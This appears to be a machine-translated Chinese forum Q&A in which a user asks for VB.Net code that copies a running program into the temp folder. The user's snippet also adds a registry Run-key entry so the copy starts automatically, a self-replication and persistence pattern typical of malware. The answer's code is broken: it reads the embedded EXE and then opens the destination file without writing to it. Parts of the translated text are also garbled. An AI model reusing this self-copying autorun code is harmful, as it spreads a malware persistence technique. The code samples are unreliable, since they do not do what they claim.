程序自我复制到特定路径

Question

我想让我的程序在特定的地方复制，但我可以复制外部文件，我希望程序在特定的地方复制它自己，比如temp

例如，

它从application.startuppath()重复自身t）o桌面出错（它无法转换为1维数组

Dim temp As String = IO.Path.GetTempPath() & "test.exe"
        Dim kurd As String = Application.ExecutablePath

        IO.File.WriteAllBytes(temp, kurd)
        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "test", "C:\Windows\Temp\test.exe")

我想要VB.Net

中的工作代码

Answer 1

我解决了你的问题。

您要做的第一件事是：将您的应用程序EXE文件添加到Resources，然后在您的应用程序中键入此代码，以将EXE文件从Resources复制到特定路径。

将您的“EXE”文件添加到资源：

添加此代码：

    Dim temp As String = IO.Path.GetTempPath() & "MyESS.exe"
    Dim MyESS As String
    File.WriteAllBytes(temp, My.Resources.MyESS)
    FileOpen(1, temp, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
    MyESS = Space(LOF(1))
    FileGet(1, MyESS)
    FileClose(1)
    FileOpen(1, "C:\Program Files(x86)\MyESS.exe <or any specific path>", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
    FileClose(1)

我希望代码对你有用。